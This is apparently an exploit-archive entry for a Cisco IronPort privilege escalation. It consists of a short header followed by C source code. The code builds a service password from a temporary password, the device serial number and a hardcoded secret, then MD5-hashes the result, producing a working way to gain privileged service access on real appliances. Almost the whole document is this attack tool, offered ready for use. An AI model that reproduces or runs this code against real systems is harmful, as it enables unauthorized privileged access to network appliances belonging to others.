Cisco Ironport Appliances Privilege Escalation Vulnerability Exploit

2015.01.24
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include "md5.h" #include "getopt.h" #define MAX_BUFFER 128 #define SECRET_PASS "woofwoof" void usage(char *name); void to_lower(char *str); void fuzz_string(char *str); int main(int argc, char *argv[]) { if (argc < 2) { usage(argv[0]); } int opt; int index; char *temp_pass = { 0 }; char *serial_no = { 0 }; char *secret_pass = SECRET_PASS; char service[MAX_BUFFER] = { 0 }; unsigned char digest[16] = { 0 }; while ((opt = getopt(argc, argv, "p:s:h")) != -1) { switch (opt) { case 'p': temp_pass = optarg; break; case 's': serial_no = optarg; break; case 'h': usage(argv[0]); break; default: printf_s("Wrong Argument: %s\n", argv[1]); break; } } for (index = optind; index < argc; index++) { usage(argv[0]); exit(0); } if (temp_pass == NULL || serial_no == NULL) { usage(argv[0]); exit(0); } if ((strlen(temp_pass) <= sizeof(service)) && (strlen(serial_no) <= sizeof(service))) { to_lower(serial_no); fuzz_string(temp_pass); strcpy_s(service, sizeof(service), temp_pass); strcat_s(service, sizeof(service), serial_no); strcat_s(service, sizeof(service), secret_pass); MD5_CTX context; MD5_Init(&context); MD5_Update(&context, service, strlen(service)); MD5_Final(digest, &context); printf_s("Service Password: "); for (int i = 0; i < sizeof(digest)-12; i++) printf("%02x", digest[i]); } return 0; } void fuzz_string(char *str) { while (*str){ switch (*str) { case '1': *str = 'i'; break; case '0': *str = 'o'; break; case '_': *str = '-'; break; } str++; } } void to_lower(char *str) { while (*str) { if (*str >= 'A' && *str <= 'Z') { *str += 0x20; } str++; } } void usage(char *name) { printf_s("\nUsage: %s -p password -s serial\n", name); printf_s(" -p <password> | Cisco Service Temp Password\n"); printf_s(" -s <serial> | Cisco Serial Number\n"); printf_s(" -h | This Help Menu\n"); printf_s("\n Example: %s -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4\n", name); exit(0); }


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